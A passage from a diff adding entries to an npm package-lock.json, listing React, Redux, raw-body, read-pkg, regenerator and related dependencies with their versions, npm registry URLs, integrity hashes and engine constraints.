"sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", + "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", + "dev": true, + "dependencies": { + "bytes": "3.1.0", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/raw-body/node_modules/bytes": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/rc-progress": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.6.1.tgz", + "integrity": "sha512-GR+rWDv5b61VkGs7SxDvsaJo6vzTZ4j1Z1sX0C3kG4kPli9nUCXurx5jREJ2SllUKLrhesr914DuvBBtXOSr6g==", + "dependencies": { + "babel-runtime": "6.x", + "prop-types": "^15.5.8" + } + }, + "node_modules/react": { + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react/-/react-16.14.0.tgz", + "integrity": "sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-addons-test-utils": { + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/react-addons-test-utils/-/react-addons-test-utils-15.6.2.tgz", + "integrity": "sha1-wStu/cIkfBDae4dw0YUICnsEcVY=", + "dev": true, + "peerDependencies": { + "react-dom": "^15.4.2" + } + }, + "node_modules/react-base16-styling": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.7.0.tgz", + "integrity": "sha512-lTa/VSFdU6BOAj+FryOe7OTZ0OBP8GXPOnCS0QnZi7G3zhssWgIgwl0eUL77onXx/WqKPFndB3ZeC77QC/l4Dw==", + "dependencies": { + "base16": "^1.0.0", + "lodash.curry": "^4.1.1", + "lodash.flow": "^3.5.0", + "pure-color": "^1.3.0" + } + }, + "node_modules/react-bootstrap": { + "version": "1.6.4", + "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.6.4.tgz", + "integrity": "sha512-z3BhBD4bEZuLP8VrYqAD7OT7axdcSkkyvWBWnS2U/4MhyabUihrUyucPWkan7aMI1XIHbmH4LCpEtzWGfx/yfA==", + "dependencies": { + "@babel/runtime": "^7.14.0", + "@restart/context": "^2.1.4", + "@restart/hooks": "^0.3.26", + "@types/invariant": "^2.2.33", + "@types/prop-types": "^15.7.3", + "@types/react": ">=16.14.8", + "@types/react-transition-group": "^4.4.1", + "@types/warning": "^3.0.0", + "classnames": "^2.3.1", + "dom-helpers": "^5.2.1", + "invariant": "^2.2.4", + "prop-types": "^15.7.2", + "prop-types-extra": "^1.1.0", + "react-overlays": "^5.1.1", + "react-transition-group": "^4.4.1", + "uncontrollable": "^7.2.1", + "warning": "^4.0.3" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/react-copy-to-clipboard": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.4.tgz", + "integrity": "sha512-IeVAiNVKjSPeGax/Gmkqfa/+PuMTBhutEvFUaMQLwE2tS0EXrAdgOpWDX26bWTXF3HrioorR7lr08NqeYUWQCQ==", + "dependencies": { + "copy-to-clipboard": "^3", + "prop-types": "^15.5.8" + }, + "peerDependencies": { + "react": "^15.3.0 || ^16.0.0 || ^17.0.0" + } + }, + "node_modules/react-desktop-notification": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/react-desktop-notification/-/react-desktop-notification-1.0.9.tgz", + "integrity": "sha512-2nG+3V3n+dnIks4a+jXWYod8k6DgUt/ZDslce667QTimhbQy3+Z2OOYz4G4WjFMyDFrN6QxR28aphOCnA9x7hA==", + "dependencies": { + "create-react-class": "15.6.2" + } + }, + "node_modules/react-dimensions": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/react-dimensions/-/react-dimensions-1.3.1.tgz", + "integrity": "sha512-go5vMuGUxaB5PiTSIk+ZfAxLbHwcIgIfLhkBZ2SIMQjaCgnpttxa30z5ijEzfDjeOCTGRpxvkzcmE4Vt4Ppvyw==", + "dependencies": { + "element-resize-event": "^2.0.4" + }, + "peerDependencies": { + "react": "^0.14.0 || ^15.0.0 || ^16.0.0", + "react-dom": "^0.14.0 || ^15.0.0 || ^16.0.0" + } + }, + "node_modules/react-display-name": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/react-display-name/-/react-display-name-0.2.5.tgz", + "integrity": "sha512-I+vcaK9t4+kypiSgaiVWAipqHRXYmZIuAiS8vzFvXHHXVigg/sMKwlRgLy6LH2i3rmP+0Vzfl5lFsFRwF1r3pg==" + }, + "node_modules/react-dnd": { + "version": "11.1.3", + "resolved": "https://registry.npmjs.org/react-dnd/-/react-dnd-11.1.3.tgz", + "integrity": "sha512-8rtzzT8iwHgdSC89VktwhqdKKtfXaAyC4wiqp0SywpHG12TTLvfOoL6xNEIUWXwIEWu+CFfDn4GZJyynCEuHIQ==", + "dependencies": { + "@react-dnd/shallowequal": "^2.0.0", + "@types/hoist-non-react-statics": "^3.3.1", + "dnd-core": "^11.1.3", + "hoist-non-react-statics": "^3.3.0" + }, + "peerDependencies": { + "react": ">= 16.9.0", + "react-dom": ">= 16.9.0" + } + }, + "node_modules/react-dnd-html5-backend": { + "version": "11.1.3", + "resolved": "https://registry.npmjs.org/react-dnd-html5-backend/-/react-dnd-html5-backend-11.1.3.tgz", + "integrity": "sha512-/1FjNlJbW/ivkUxlxQd7o3trA5DE33QiRZgxent3zKme8DwF4Nbw3OFVhTRFGaYhHFNL1rZt6Rdj1D78BjnNLw==", + "dependencies": { + "dnd-core": "^11.1.3" + } + }, + "node_modules/react-dom": { + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.14.0.tgz", + "integrity": "sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==", + "dependencies": { + "loose-envify": "^1.1.0", + "object-assign": "^4.1.1", + "prop-types": "^15.6.2", + "scheduler": "^0.19.1" + }, + "peerDependencies": { + "react": "^16.14.0" + } + }, + "node_modules/react-event-timeline": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/react-event-timeline/-/react-event-timeline-1.6.3.tgz", + "integrity": "sha512-hMGhC9/Xx3sPF/TSlMCA13hZm/2c5CvBxbkDM7bQ4yq6VJ6AmhjqKPnU6/3nVmWUGpK3YqhHb95OiqulxVD3Eg==", + "dependencies": { + "prop-types": "^15.6.0" + }, + "peerDependencies": { + "react": ">= 0.14.0 < 17.0.0-0" + } + }, + "node_modules/react-fa": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz", + "integrity": "sha512-pBEJigNkDJPAP/P9mQXT55VbJbbtwqi4ayieXuFvGpd+gl3aZ9IbjjVKJihdhdysJP0XRgrSa3sT3yOmkQi8wQ==", + "deprecated": "Use https://github.com/FortAwesome/react-fontawesome instead", + "dependencies": { + "font-awesome": "^4.3.0", + "prop-types": "^15.5.8" + }, + "peerDependencies": { + "react": ">= 0.13.0 <17.0.0" + } + }, + "node_modules/react-filepond": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.1.1.tgz", + "integrity": "sha512-6Szyi3zY4AEiSlE5rztJov/xIDB107Sv31MctDoSutdLinMqmbMej6kJ2MtSGzAhsP2+h8cDDr51mdHNXt97Yw==", + "peerDependencies": { + "filepond": ">=3.7.x < 5.x", + "react": "16 - 18", + "react-dom": "16 - 18" + } + }, + "node_modules/react-graph-vis": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.7.tgz", + "integrity": "sha512-FI35zlBMKU22JEvG1ukd1DDwW185y4YrDvHm6Bom9EGdA+UNMrZrIV/lyPIRWPcRkzbKaA1w1NvOYcRApD4KdQ==", + "dependencies": { + "lodash": "^4.17.15", + "prop-types": "^15.5.10", + "uuid": "^2.0.1", + "vis-data": "^7.1.2", + "vis-network": "^9.0.0" + }, + "peerDependencies": { + "react": "*" + } + }, + "node_modules/react-hot-loader": { + "version": "4.13.0", + "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.13.0.tgz", + "integrity": "sha512-JrLlvUPqh6wIkrK2hZDfOyq/Uh/WeVEr8nc7hkn2/3Ul0sx1Kr5y4kOGNacNRoj7RhwLNcQ3Udf1KJXrqc0ZtA==", + "dependencies": { + "fast-levenshtein": "^2.0.6", + "global": "^4.3.0", + "hoist-non-react-statics": "^3.3.0", + "loader-utils": "^1.1.0", + "prop-types": "^15.6.1", + "react-lifecycles-compat": "^3.0.4", + "shallowequal": "^1.1.0", + "source-map": "^0.7.3" + }, + "engines": { + "node": ">= 6" + }, + "peerDependencies": { + "@types/react": "^15.0.0 || ^16.0.0 || ^17.0.0 ", + "react": "^15.0.0 || ^16.0.0 || ^17.0.0 ", + "react-dom": "^15.0.0 || ^16.0.0 || ^17.0.0 " + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-hot-loader/node_modules/source-map": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/react-json-tree": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.1.tgz", + "integrity": "sha512-j6fkRY7ha9XMv1HPVakRCsvyFwHGR5AZuwO8naBBeZXnZbbLor5tpcUxS/8XD01+D1v7ZN5p+7LU+9V1uyASiQ==", + "dependencies": { + "prop-types": "^15.7.2", + "react-base16-styling": "^0.7.0" + }, + "peerDependencies": { + "react": "^16.3.0", + "react-dom": "^16.3.0" + } + }, + "node_modules/react-jsonschema-form-bs4": { + "version": "1.7.1", + "resolved": "https://registry.npmjs.org/react-jsonschema-form-bs4/-/react-jsonschema-form-bs4-1.7.1.tgz", + "integrity": "sha512-0SYhkHi9AByWsnE7lVokesFEpcb52QCCeHrhgvFO7lJ9IX6CBTr0ewjj7uERWY5OdWoCLA+tPcqO6RhA0R9TWQ==", + "dependencies": { + "@babel/runtime-corejs2": "^7.4.5", + "@types/json-schema": "*", + "@types/react": "*", + "ajv": "^6.7.0", + "core-js": "^2.5.7", + "lodash.get": "^4.4.2", + "lodash.pick": "^4.4.0", + "lodash.topath": "^4.5.2", + "prop-types": "^15.5.8", + "react-is": "^16.8.4", + "react-lifecycles-compat": "^3.0.4", + "shortid": "^2.2.14" + }, + "engines": { + "node": ">=6", + "npm": ">=2.14.7" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-jsonschema-form-bs4/node_modules/core-js": { + "version": "2.6.11", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.11.tgz", + "integrity": "sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg==", + "deprecated": "core-js@<3.4 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Please, upgrade your dependencies to the actual version of core-js.", + "hasInstallScript": true + }, + "node_modules/react-lifecycles-compat": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", + "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" + }, + "node_modules/react-overlays": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-5.1.1.tgz", + "integrity": "sha512-eCN2s2/+GVZzpnId4XVWtvDPYYBD2EtOGP74hE+8yDskPzFy9+pV1H3ZZihxuRdEbQzzacySaaDkR7xE0ydl4Q==", + "dependencies": { + "@babel/runtime": "^7.13.8", + "@popperjs/core": "^2.8.6", + "@restart/hooks": "^0.3.26", + "@types/warning": "^3.0.0", + "dom-helpers": "^5.2.0", + "prop-types": "^15.7.2", + "uncontrollable": "^7.2.1", + "warning": "^4.0.3" + }, + "peerDependencies": { + "react": ">=16.3.0", + "react-dom": ">=16.3.0" + } + }, + "node_modules/react-particles-js": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.5.3.tgz", + "integrity": "sha512-e9GWBT51WDtPkcaSy0ZLUAT93lBzDvuqrfW81NOf6G69XSurgCtVy4+ZYpUCnLhZgkokzsjrhtVOSj1FxPVyEw==", + "deprecated": "This package has been deprecated in favor of react-tsparticles.", + "dependencies": { + "lodash": "^4.17.11" + }, + "peerDependencies": { + "react": "^16.0.0", + "tsparticles": "^1.30.0" + } + }, + "node_modules/react-redux": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.1.2.tgz", + "integrity": "sha512-Ns1G0XXc8hDyH/OcBHOxNgQx9ayH3SPxBnFCOidGKSle8pKihysQw2rG/PmciUQRoclhVBO8HMhiRmGXnDja9Q==", + "dependencies": { + "@babel/runtime": "^7.1.2", + "hoist-non-react-statics": "^3.3.0", + "invariant": "^2.2.4", + "loose-envify": "^1.1.0", + "prop-types": "^15.6.1", + "react-is": "^16.6.0", + "react-lifecycles-compat": "^3.0.0" + }, + "peerDependencies": { + "react": "^0.14.0 || ^15.0.0-0 || ^16.0.0-0", + "redux": "^2.0.0 || ^3.0.0 || ^4.0.0-0" + } + }, + "node_modules/react-router": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.2.1.tgz", + "integrity": "sha512-lIboRiOtDLFdg1VTemMwud9vRVuOCZmUIT/7lUoZiSpPODiiH1UQlfXy+vPLC/7IWdFYnhRwAyNqA/+I7wnvKQ==", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "hoist-non-react-statics": "^3.1.0", + "loose-envify": "^1.3.1", + "mini-create-react-context": "^0.4.0", + "path-to-regexp": "^1.7.0", + "prop-types": "^15.6.2", + "react-is": "^16.6.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-router-dom": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.3.0.tgz", + "integrity": "sha512-ObVBLjUZsphUUMVycibxgMdh5jJ1e3o+KpAZBVeHcNQZ4W+uUGGWsokurzlF4YOldQYRQL4y6yFRWM4m3svmuQ==", + "dependencies": { + "@babel/runtime": "^7.12.13", + "history": "^4.9.0", + "loose-envify": "^1.3.1", + "prop-types": "^15.6.2", + "react-router": "5.2.1", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" + }, + "peerDependencies": { + "react": ">=15" + } + }, + "node_modules/react-sortable-tree": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/react-sortable-tree/-/react-sortable-tree-2.8.0.tgz", + "integrity": "sha512-gTjwxRNt7z0FC76KeNTnGqx1qUSlV3N78mMPRushBpSUXzZYhiFNsWHUIruyPnaAbw4SA7LgpItV7VieAuwDpw==", + "dependencies": { + "frontend-collective-react-dnd-scrollzone": "^1.0.2", + "lodash.isequal": "^4.5.0", + "prop-types": "^15.6.1", + "react-dnd": "^11.1.3", + "react-dnd-html5-backend": "^11.1.3", + "react-lifecycles-compat": "^3.0.4", + "react-virtualized": "^9.21.2" + }, + "peerDependencies": { + "react": "^16.3.0", + "react-dnd": "^7.3.0", + "react-dom": "^16.3.0" + } + }, + "node_modules/react-spinners": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.9.0.tgz", + "integrity": "sha512-+x6eD8tn/aYLdxZjNW7fSR1uoAXLb9qq6TFYZR1dFweJvckcf/HfP8Pa/cy5HOvB/cvI4JgrYXTjh2Me3S6Now==", + "dependencies": { + "@emotion/core": "^10.0.15" + }, + "peerDependencies": { + "react": "^16.0.0", + "react-dom": "^16.0.0" + } + }, + "node_modules/react-table": { + "version": "6.11.5", + "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.11.5.tgz", + "integrity": "sha512-LM+AS9v//7Y7lAlgTWW/cW6Sn5VOb3EsSkKQfQTzOW8FngB1FUskLLNEVkAYsTX9LjOWR3QlGjykJqCE6eXT/g==", + "dependencies": { + "@types/react-table": "^6.8.5", + "classnames": "^2.2.5", + "react-is": "^16.8.1" + }, + "peerDependencies": { + "prop-types": "^15.7.0", + "react": "^16.x.x", + "react-dom": "^16.x.x" + } + }, + "node_modules/react-to-print": { + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/react-to-print/-/react-to-print-2.13.0.tgz", + "integrity": "sha512-JMX+HrMtBXWDh2ohPT2IeBkaGY4QpFeloXTXBA7hBK7dXJQei/UXMvQqbZHb0rqJwzAHltZ2zXevuSK/ReKI5w==", + "dependencies": { + "prop-types": "^15.7.2" + }, + "peerDependencies": { + "react": "^15.0.0 || ^16.0.0 || ^17.0.0", + "react-dom": "^15.0.0 || ^16.0.0 || ^17.0.0" + } + }, + "node_modules/react-tooltip-lite": { + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/react-tooltip-lite/-/react-tooltip-lite-1.12.0.tgz", + "integrity": "sha512-QjDnmDmjtLNKvLY6bzUOG8W6ZDBTiE4UXugGzClOQEGvMvbkJn2GvZvLwRaxsN/GCx7589RgbGaESMiJAm+zWg==", + "dependencies": { + "prop-types": "^15.5.8" + }, + "peerDependencies": { + "react": "^15.5.4 || ^16.0.0", + "react-dom": "^15.5.4 || ^16.0.0" + } + }, + "node_modules/react-transition-group": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.2.tgz", + "integrity": "sha512-/RNYfRAMlZwDSr6z4zNKV6xu53/e2BuaBbGhbyYIXTrmgu/bGHzmqOs7mJSJBHy9Ud+ApHx3QjrkKSp1pxvlFg==", + "dependencies": { + "@babel/runtime": "^7.5.5", + "dom-helpers": "^5.0.1", + "loose-envify": "^1.4.0", + "prop-types": "^15.6.2" + }, + "peerDependencies": { + "react": ">=16.6.0", + "react-dom": ">=16.6.0" + } + }, + "node_modules/react-virtualized": { + "version": "9.22.3", + "resolved": "https://registry.npmjs.org/react-virtualized/-/react-virtualized-9.22.3.tgz", + "integrity": "sha512-MKovKMxWTcwPSxE1kK1HcheQTWfuCxAuBoSTf2gwyMM21NdX/PXUhnoP8Uc5dRKd+nKm8v41R36OellhdCpkrw==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "clsx": "^1.0.4", + "dom-helpers": "^5.1.3", + "loose-envify": "^1.4.0", + "prop-types": "^15.7.2", + "react-lifecycles-compat": "^3.0.4" + }, + "peerDependencies": { + "react": "^15.3.0 || ^16.0.0-alpha", + "react-dom": "^15.3.0 || ^16.0.0-alpha" + } + }, + "node_modules/read-pkg": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", + "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==", + "dev": true, + "dependencies": { + "@types/normalize-package-data": "^2.4.0", + "normalize-package-data": "^2.5.0", + "parse-json": "^5.0.0", + "type-fest": "^0.6.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/read-pkg-up": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz", + "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==", + "dev": true, + "dependencies": { + "find-up": "^4.1.0", + "read-pkg": "^5.2.0", + "type-fest": "^0.8.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg/node_modules/hosted-git-info": { + "version": "2.8.9", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", + "dev": true + }, + "node_modules/read-pkg/node_modules/normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "dependencies": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "node_modules/read-pkg/node_modules/type-fest": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", + "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/recast": { + "version": "0.11.23", + "resolved": "https://registry.npmjs.org/recast/-/recast-0.11.23.tgz", + "integrity": "sha1-RR/TAEqx5N+bTktmN2sqIZEkYtM=", + "dev": true, + "dependencies": { + "ast-types": "0.9.6", + "esprima": "~3.1.0", + "private": "~0.1.5", + "source-map": "~0.5.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/recast/node_modules/esprima": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-3.1.3.tgz", + "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM=", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/rechoir": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.7.1.tgz", + "integrity": "sha512-/njmZ8s1wVeR6pjTZ+0nCnv8SpZNRMT2D1RLOJQESlYFDBvwpTA4KWJpZ+sBJ4+vhjILRcK7JIFdGCdxEAAitg==", + "dev": true, + "dependencies": { + "resolve": "^1.9.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/redent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "dev": true, + "dependencies": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/redux": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/redux/-/redux-4.1.1.tgz", + "integrity": "sha512-hZQZdDEM25UY2P493kPYuKqviVwZ58lEmGQNeQ+gXa+U0gYPUBf7NKYazbe3m+bs/DzM/ahN12DbF+NG8i0CWw==", + "dependencies": { + "@babel/runtime": "^7.9.2" + } + }, + "node_modules/regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", + "dev": true + }, + "node_modules/regenerate-unicode-properties": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-9.0.0.tgz", + "integrity": "sha512-3E12UeNSPfjrgwjkR81m5J7Aw/T55Tu7nUyZVQYCKEOs+2dkxEY+DpPtZzO4YruuiPb7NkYLVcyJC4+zCbk5pA==", + "dev": true, + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.13.5", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz", + "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==" + }, + "node_modules/regenerator-transform": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.5.tgz", + "integrity": "sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.8.4" + } + }, + "node_modules/regexp.prototype.flags": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz", + "integrity": "sha512-JiBdRBq91WlY7uRJ0ds7R+dU02i6LKi8r3BuQhNXn+kmeLN+EfHhfjqMRis1zJxnlu88hq/4dx0P2OP3APRTOA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regexpp": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.1.tgz", + "integrity": "sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==", + "dev": true, + "engines": { + "node": ">=6.5.0" + } + }, + "node_modules/regexpu-core": { + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.8.0.tgz", + "integrity": "sha512-1F6bYsoYiz6is+oz70NWur2Vlh9KWtswuRuzJOfeYUrfPX2o8n74AnUVaOGDbUqVGO9fNHu48/pjJO4sNVwsOg==", + "dev": true, + "dependencies": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^9.0.0", + "regjsgen": "^0.5.2", + "regjsparser": "^0.7.0", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regjsgen": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz", + "integrity": "sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==", + "dev": true + }, + "node_modules/regjsparser": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.7.0.tgz", + "integrity": "sha512-A4pcaORqmNMDVwUjWoTzuhwMGpP+NykpfqAsEgI1FSH/EzC7lrN5TMd+kN8YCovX+jMpu8eaqXgXPCa0g8FQNQ==", + "dev": true, + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + 